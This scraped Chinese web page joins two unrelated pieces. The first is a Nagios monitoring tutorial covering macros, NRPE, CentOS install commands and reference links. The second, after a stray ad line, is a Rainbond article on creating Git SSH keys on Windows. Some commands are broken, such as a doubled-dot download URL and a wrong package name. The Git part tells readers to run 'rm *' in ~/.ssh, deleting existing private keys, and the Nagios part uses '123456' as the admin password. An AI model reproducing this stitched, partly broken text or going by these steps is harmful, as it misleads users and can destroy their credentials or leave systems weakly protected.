在主配置文件中,参数resource_file用于定义所有用户变量(即“宏”)的存储文件,它用于存储对象定义中的可以访问的额外信息,如访问某服务的密码等;因此,这些信息通常都是些敏感数据,一般不允许通过Web接口来访问。此文件中可以定义的宏可多达32个,它们分别为$USER1$,$USER2$...$USER32,这些宏一般在check命令中引用。通常情况下$USER1$用于引用Nagios插件所在目录这个路径信息,因此,一般不建议修改其值。 Nagios事先定义了许多宏,它们的值通常依赖于其上下文。 如下: HOSTNAME: 用于引用host_name指定所定义的主机的主机名;每个主机的主机名都是唯一的; HOSTADDRESS: 用于引用host对象中的address指令的值,它通常可以为IP地址或主机名; HOSTDISPLAYNAME: 用于引用host对象中alias指令的值,用以描述当前主机,即主机的显示名称; HOSTSTATE:某主机的当前状态,为UP,DOWN,UNREACHABLE三者之一; HOSTGROUPNAMES: 用于引用某主机所属的所有主机组的简名,主机组名称之间以逗号分隔; LASTHOSTCHECK:用于引用某主机上次检测的时间和日期,Unix时间戳格式; LISTHOSTSTATE:用于引用某主机前一次检测时的状态,为UP,DOWN或UNREACHABLE三者之一; SERVICEDESC: 用于引用对应service对象中的desccription指令的值; SERVICESTATE: 用于引用某服务的当前状态,为OK,WARNING,UNKOWN或CRITICAL四者之一; SERVICEGROUPNAMES: 用于引用某服务所属的所有服务组的简名,服务组名称之间以逗号分隔; CONTACTNAME: 用于引用某contact对象中contact_name指令的值; CONTACTALIAS: 用于引用某contact对象中alias指令的值; CONTACTEMAIL: 用于引用某contact对象中email指令的值; CONTACTGROUPNAMES: 用于引用某contact所属的所有contact组的简名,contact组名称之间以逗号分隔; 引用方式根据对象类型的不同也有所不同,具体如下: $_HOST$ – 引用在主机对象中定义的指令的值; $_SERVICE$ – 引用在服务对象中定义的指令的值; $_CONTACT$ – 引用在联系人对象中定义的指令的值; Nagios的功能特征包括: 1、监控网络服务(SMTP、POP3、HTTP、NNTP、PING等); 2、监控主机资源(处理器负荷、磁盘利用率等); 3、简单地插件设计使得用户可以方便地扩展自己服务的检测方法; 4、并行服务检查机制; 5、具备定义网络分层结构的能力,用"parent"主机定义来表达网络主机间的关系,这种关系可被用来发现和明晰主机宕机或不可达状态; 6、当服务或主机问题产生与解决时将告警发送给联系人(通过EMail、短信、用户定义方式); 7、可以定义一些处理程序,使之能够在服务或者主机发生故障时起到预防作用; 8、自动的日志滚动功能; 9、可以支持并实现对主机的冗余监控; 10、可选的WEB界面用于查看当前的网络状态、通知和故障历史、日志文件等; Nagios和cacti的区别: cacti主要是监控流量 ,服务器状态页面展示; nagios主要监控服务 ,邮件及短信报警灯,也有简单的流量控制界面,二者综合使用效果更好, Nagios 监控客户端需要借助 N agios插件及NRPE软件 来实现,NRPE作为中间的代理程序,接受Nagios服务端发来的请求,另一端在远程主机上指定的相关的监控信息。 Nagios原理图 注意:左边是客户端,,右边是服务端。 Database不存放客户监控数据 Ntop: 监控网络流量 ,流量采集技术有以下几个: 1.sniffer:采集的信息最全面,可完全复制网络的数据报文。 2.SNMP :是一种主动的采集方式,取得的数据 只包含端口层数据 , 对于伪造端口地址的蠕虫病毒无能为力。 3.Netflow :统计所有网络报文,对网络设备性能影响较大。 4.sFlow:采用采样的方式,通过设定一定的采样率,进行数据捕获,对网络设备影响很小。 Nagios的管理模式: 分布-集中的管理模式,在nagios服务器上安装主程序,在被监控主机上安装nagios代理程序,通过nagios主程序nagios代理程序之间的通信,监控对象的状态。 nagios通过nrpe插件来远程管理服务的工作过程 Nagios执行安装在它里面的check_nrpe插件,并告诉check_nrpe去检测哪些服务。 通过ssl,check_nrpe连接远端机器上的NRPE daemon。 NRPE运行本地的各种插件去检测本地服务器和状态(check_disk,...etc)。 NRPE把检测的结果传给主机端的check_nrpe,check_nrpe再把结果送到nagios状态队列中。 Nagios依次读取队列中的信息,再把结果显示出来。 nagios的四种监控状态 Nagios可以识别四种状态返回信息。 0(OK)表示状态正常(绿色显示) ( WARNING )表示出现警告(黄色), (CRITICAL) 表示出现非常严重错误(红色), (UNKNOWN )表示未知错误(深黄色),nagios根据插件返回来的值来判断监控对象的状态,并通过web显示出来,以供管理员即时发现故障。 安装方法1 注意:Nagios需要LAMP环境,如果没有就安装,, 客户端不安装Nagios,服务端安装Nagios Nagios配置文件 在centos 6中安装 【root @localhost ~】# yum install -y httpd mysqld mysqld-server mysql-devel php php-devel php-mysql 在centos 7中安装 【root @localhost ~】# yum install -y httpd mariadb mariadb-server mariadb-devel php php-devel php-mysql wget -c http://nchc.dl.sourceforge..net/projects/nagios/nrpe-2.x/nrpe-2.14/nrpe-2.14.tar.gz wget -c http://down1.chinaunix.net/distfiles/nagios-plugins-1.4.14.tar.gz 在./configure之前,创建nagios用户(的同时也会自动创建组),#useradd nagios 注意:make install-webconf 生成nagios.conf配置文件,下面是nagios.conf配置文件内容
【root @localhost nagios】# cd /usr/local/ngios/ 【root @localhost nagios】# ls 【root @localhost nagios】# cd share/ 【root@localhost share】# ls 【root@localhost share】#cd /etc/httpd/conf.d 【root@localhost share】# ls 重启apache 【root@localhost share】# /etc/init.d/httpd restart 启动失败 在浏览器上面输入IP:192.168.226.130/nagios/ 创建用户名和密码 /etc/init.d/nagios restart 在clinet客户端安装插件 安装2 1.依赖套件安装 [root@localhost]# cd /usr/local/src [root@localhost src]# yum install -y gcc glibc glibc-common gd gd-devel xinetd openssl-devel libpng libpng-devel libjpeg libjpeg-devel zlib zlib-devel httpd php php-devel 2.创建nagios用户以及用户组 [root@localhost src]# useradd -s /sbin/nologin nagios [root@localhost src]# mkdir /usr/local/nagios [root@localhost src]# chown -R nagios.nagios /usr/local/nagios 安装完成后在/usr/local/nagios里面生成上图看到的几个目录,分别是 var日志文件,bin执行程序,etc配置文件,sbin, share libexec网页的目录。至此安装成功。 3.编译安装nagios [root@localhost src]# wget http://iweb.dl.sourceforge.net/project/nagios/nagios-4.x/nagios-4.1.1/nagios-4.1.1.tar.gz 解压 [root@localhost src]# tar zxvf nagios-4.1.1.tar.gz [root@localhost nagios-4.1.1]# cd nagios-4.1.1 #指定安装目录 [root@localhost nagios-4.1.1]# ./configure --prefix=/usr/local/nagios [root@localhost nagios-4.1.1]# make all #编译 #安装主程序和CGI和html文件 [root@localhost nagios-4.1.1]# make install # 安装 #创建启动脚本 [root@localhost nagios-4.1.1]# make install-init #把nagios做成一个运行脚本,是nagios随系统开机时启动 #配置目录权限 [root@localhost nagios-4.1.1]# make install-commandmode #给外部命令访问配置权限 #安装示例配置文件 [root@localhost nagios-4.1.1]# make install-config 把配置文件样例复制到nagios的安装目录下 chkconfig --add nagios chkconfig --level 35 nagios on chkconfig --list nagios 4.目录说明 切换目录到安装路径(这里是/usr/local/nagios),看是否存在etc、bin、sbin、share、var 这五个目录,如果存在则可以表明程序被正确的安装到系统了。Nagios 各个目录用途说明如下: bin Nagios 可执行程序所在目录 etc Nagios 配置文件所在目录 sbin Nagios CGI 文件所在目录,也就是执行外部命令所需文件所在的目录 share Nagios网页文件所在的目录 libexec Nagios 外部插件所在目录 var Nagios 日志文件、lock 等文件所在的目录 var/archives Nagios 日志自动归档目录 var/rw 用来存放外部命令文件的目录 5.插件安装 nagios本身并没有监控的功能,所有的监控是由插件完成的,插件将监控的结果返回给nagios,nagios分析这些结果,以web的方式展现给我们,同时提供相应的报警功能 [root@localhost src]# wget http://prdownloads.sourceforge.net/sourceforge/nagiosplug/nagios-plugins-1.4.16.tar.gz 解压 [root@localhost src]# tar zxvf nagios-plugins-1.4.16.tar.gz [root@localhost src]# cd nagios-plugins-1.4.16 编译安装 [root@localhost src]# ./configure --prefix=/usr/local/nagios --with-nagios-user=nagios --with-nagios-group=nagios [root@localhost src]# make && make install 安装完成后,在/usr/local/nagios目录下生成插件文件libexec,nagios所有的插件都会在这个目录下。 修改配置文件/usr/local/apache/conf/httpd.conf 找到如下两行 增加如下两个代码段 Apache配置文件改完后,使用命令htpasswd给nagiosadmin用户设置密码(我设置为123456) 检查配置文件有没有问题 显示如下 则说明没有问题
在客户端浏览器输入: http://IP/nagios .看到如下效果。则我的nagios服务已经安装成功 检查nagios的配置是否正确: /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg 若没有错误,就可以启动nagios了。 nagios启动的方式有两种: l /usr/local/nagios/bin/nagios -d /usr/local/nagios/etc/nagios.cfg l /etc/init.d/nagios start 常见问题: 1、[root@server34 nagios-cn-3.2.3]# ./configure 错误:*** GD, PNG, and/or JPEG libraries could not be located... ********* 解决:需要安装gd-devel: 2、 其实它是要制作目标文件/include/locations.h,这个是头文件,可是这个头文件需要broker.o文件 这个文件是由perl安装包提供的,你可以先执行下面命令安装perl,然后再重新./configure一下,再make all就没有问题啦 yum install perl -y yum install perl -y # make install # make install-init # make install-commandmode # make install-config # chkconfig --add nagios # chkconfig --level 35 nagios on # chkconfig --list nagios 3、 则在编译时入加 --with-included-apr 即可解决。 4、 参考链接:https://my.oschina.net/wdos/blog/73117 链接: nagios监控三部曲之——nagios的安装与配置(1) : http://blog.51cto.com/dl528888/763032 nagios监控三部曲之——为什么nagios不能发送报警邮件(2) : http://blog.51cto.com/dl528888/763079 nagios监控三部曲之——nagios实现飞信报警(3) : http://blog.51cto.com/dl528888/770684 http://blog.51cto.com/izhouyu/1965409 nagios论坛 :http://www.cnyunwei.com/forum-60-1.html Nagios 3 Enterprise Network Monitoring :http://club.topsage.com/thread-242245-1-1.html |
---|
Building a Monitoring Infrastructure with Nagios : http://club.topsage.com/thread-242244-1-1.html Network Management with Nagios : http://club.topsage.com/thread-242243-1-1.html |
---|
Nagios: System and Network Monitoring :http://club.topsage.com/thread-242242-1-1.html Nagios-超详细配置,监控必备,不看绝对损失 : https://mp.weixin.qq.com/s/0q7Qw4pfCX87l76sVmF1gQ Apress Pro Nagios 2.0 :http://club.topsage.com/thread-242241-1-1.html nagios监控磁盘分区使用 : http://blog.chinaunix.net/uid-25266990-id-108070.html Nagios解决libraries: libltdl.so.3问题 : http://blog.chinaunix.net/uid-25266990-id-2485793.html nagios 客户端安装配置 : http://blog.chinaunix.net/uid-25266990-id-2422661.html 使用pnp4nagios实现Naigos服务图表 : http://blog.chinaunix.net/uid-25266990-id-3437195.html 使用NDOUtils将Nagios监控信息存入Mysql : http://blog.chinaunix.net/uid-25266990-id-3417451.html nagios配置监控的一些思路和工作流程 : http://blog.51cto.com/xiaoluoge/1587997 nagios一键安装脚本 : http://blog.51cto.com/xiaoluoge/1587079 Nagios&Cacti : Nagios&Cacti 原 CentOS6.6下的Nagios简单安装 : https://blog.csdn.net/u012402276/article/details/49427187 原 CentOS6.6下的Nagios安装配置详解(一) : https://blog.csdn.net/u012402276/article/details/49640373 原 CentOS6.6下的Nagios安装配置详解(二) : https://blog.csdn.net/u012402276/article/details/49640551 原 CentOS6.6下的Nagio安装配置详解(三) : https://blog.csdn.net/u012402276/article/details/49640755 原 Nagios排错集合 : https://blog.csdn.net/u012402276/article/details/49684163 Nagios搭建完整记录--田逸老师nagios笔记补充完整版 : http://blog.51cto.com/zhouxuguang/510816 nagios报错:./stdio.h:456:1: error: 'gets' undeclared here (not in a function) 荐 : http://blog.51cto.com/ityunwei2017/1893212 nagios通过微信告警(无限制告警条数) 荐 : http://blog.51cto.com/ityunwei2017/1891946 Nagios监控Redis : http://blog.51cto.com/ityunwei2017/1845178 Nagios监控Mysql : http://blog.51cto.com/ityunwei2017/1843015 Nagios调用Python程序控制微信公众平台发布报警信息 : http://blog.51cto.com/ityunwei2017/1775702 Nagios监控Dell服务器硬件状态 : http://blog.51cto.com/ityunwei2017/1766745 Nagios监控ESXI主机系统、硬件、nagios日志文件时间格式转换 : http://blog.51cto.com/ityunwei2017/1755319 运维监控利器Nagios:概念、结构和功能 :https://www.ixdba.net/archives/2012/06/142.htm 运维监控利器Nagios之:安装nagios :https://www.ixdba.net/archives/2012/06/144.htm 运维监控利器Nagios之:nagios配置详解 : https://www.ixdba.net/archives/2012/06/146.htm 运维监控利器Nagios之:Nagios的日常维护和管理 : https://www.ixdba.net/archives/2012/06/148.htm 企业监控系统 Nagios+Centreon 简介 : https://mp.weixin.qq.com/s/Q3jcHFrzXrzPOKKOqQXiuA Nagios 可视化指南 : https://mp.weixin.qq.com/s/gcU1j_BIFgXxeGciSS73xA 「深度学习福利」大神带你进阶工程师,立即查看>>> Rainbond (云帮)是一款以应用为中心的开源PaaS,深度整合基于Kubernetes的容器管理、ServiceMesh微服务架构最佳实践、多类型CI/CD应用构建与交付、多数据中心资源管理等技术,提供云原生应用的全生命周期解决方案。 Git一般可以通过本地传输、SSH、Git协议、HTTP协议传输数据,本文为开源PaaS Rainbond最佳实践文章,介绍windows下配置SSH连接Git Server的方法。 安装Git 准备 Windows7/Windows8系统 Git 2.15 安装包下载( Git for Windows 32 ) ( Git for Windows 64 ) 安装 Git安装包通过浏览器下载完成后,需要修改文件的锁定属性,特别是 .zip 文件和 .chm 文件(否则打开chm会显示404). 右键点击下载的文件,选择属性,然后点击"解除锁定"按钮,确定即可. 如下图所示: 双击安装包文件开始安装,如果有Windows拦截警告,允许即可。 出现安装向导界面,按照提示安装。建议均使用默认配置,点击下一步(Next)即可。 提示: 如图,此处选项可根据个人需求勾选 安装完成可打开 CDM 或 Git Bash 输入 git 或 git --version 尝试 git 命令。 获取SSH Key 检查 打开 Git Bash ,检查本机是否有SSH key设置。输入如下命令: $ cd ~/.ssh 如果没有则提示: No such file or directory 如果有,则进入~/.ssh路径下输入如下命令: $ ls #查看~/.ssh路径下的文件 $ rm * #删除~/.ssh路径下的文件 创建SSH Key 生成新的SSH Key,输入如下命令: $ cd ~ #保证当前路径在家目录下 $ ssh-keygen -t rsa -C "xxxxxx@yy.com" #建议填写自己真实有效的邮箱地址 Generating public/private rsa key pair. Enter file in which to save the key (/c/Users/xxxx_000/.ssh/id_rsa): #不填直接回车 Enter passphrase (empty for no passphrase): #输入密码(可以为空,回车) Enter same passphrase again: #再次确认密码(可以为空,回车) Your identification has been saved in /c/Users/xxxx_000/.ssh/id_rsa. #生成的密钥 Your public key has been saved in /c/Users/xxxx_000/.ssh/id_rsa.pub. #生成的公钥 The key fingerprint is: e3:51:33:xx:xx:xx:xx:xxx:61:28:83:e2:81 xxxxxx@yy.com SSH key已生成,复制 id_rsa.pub 文件内容,输入如下命令: $ cat ~/.ssh/id_rsa.pub #将输出内容复制 添加SSH Key到Git Server 添加到Git Hub 登录GitHub,点击右上角头像,进入设置中心,选择SSH and GPG keys开始设置。 自定义SSH key的标题,将刚刚复制的 id_rsa.pub 内容添加至key,点击保存 添加到GitLab root用户 首次登录GitLab应用使用root账户,进入主页面点,击右上角头像选择Settings,进入设置中心。选择SSH Keys开始设置。 自定义SSH Key的标题,将刚刚复制的 id_rsa.pub 内容添加至key,点击保存 非root用户 创建一个账户 通过root用户添加 注册一个账户 登录后进入主页面,点击右上角头像选择Settings,进入设置中心。选择SSH Keys开始设置。设置方式与root用户相同 配置账户 $ git config --global user.name “your username” #自定义用户名 $ git config --global user.email “your_registered_github_Email” #设置邮箱地址(建议用注册giuhub的邮箱) 测试 测试ssh keys是否设置成功。 $ ssh -T git@github.com The authenticity of host 'github.com (192.30.252.129)' can't be established. RSA key fingerprint is 16:27:xx:xx:xx:xx:xx:4d:eb:df:a6:48. Are you sure you want to continue connecting (yes/no)? yes #确认你是否继续访问,输入yes Warning: Permanently added 'github.com,192.30.252.129' (RSA) to the list of known hosts. git基本操作 在GitHUb创建新的仓库,并复制此仓库的ssh路径。 打开Git Bash输入如下命令: #创建目录 $ mkdir test $ cd test #初始化 $ git init #创建hello.md文件 $ echo "This is a ssh key test" > README.md #提交到本地 $ git add . #提交当前目录下所以文件 $ git commit -m "add README.md" #提交记录说明 #提交到github $ git remote add origin ‘’ #引号内粘贴刚刚复制的仓库ssh路径 $ git push -u origin master #ssh key若设置密码,则会提示输出密码 Enter passphrase for key '~/.ssh/id_rsa': 刷新GitHub界面,查看刚刚推到此库的 README.md GUI Clients Git GUI是Git内置的用于提交与浏览的工具。Git也支持其他第三方客户端来实现同样的功能,例如 SourceTree 、 GitHub Desktop 、 TortoiseGit 等 SourceTree Windows系统支持SourceTree, 下载 并安装SourceTree。安装过程中需要登录,您可注册ATLASSIAN账号或使用Google账号登录。安装完成后,打开sourcetree。如下图: {{site.data.alerts.callout_success}}若使用SSH方式进行Git操作,点击工具—>配置SSH密匙。进入系统目录,找到上文生成的 id_rsa 文件。 {{site.data.alerts.end}} GitHub Desktop Windows系统支持使用GitHub Desktop, 下载 安装使用GitHub Desktop。客户端如下: 快捷链接 Rainbond项目网站 试用Rainbond公有云 Github 码云 文档 微信群: 添加微信“zqg5258423”并接受邀请入群 相关阅读 技术 解读Rainbond ServiceMesh微服务架构_开源PaaS Rainbond 2018/05/15 技术 Pinpoint-java性能分析最佳实践_开源PaaS Rainbond 2018/05/08 技术 通过Minio搭建私有化对象存储服务_开源PaaS Rainbond 2018/04/26 技术 揭秘高可用负载均衡组件Rainbond-Entrance_开源PaaS Rainbond 2018/04/25 技术 Rainbond插件体系设计简介_开源PaaS Rainbond 2018/02/24 技术 Rainbond如何对接外部Maven仓库_开源PaaS Rainbond 2018/01/18 技术 Spring Boot框架配置MySQL_开源PaaS Rainbond 2018/01/10 技术 基于Midonet的多租户网络设计_开源PaaS Rainbond 2018/01/09 |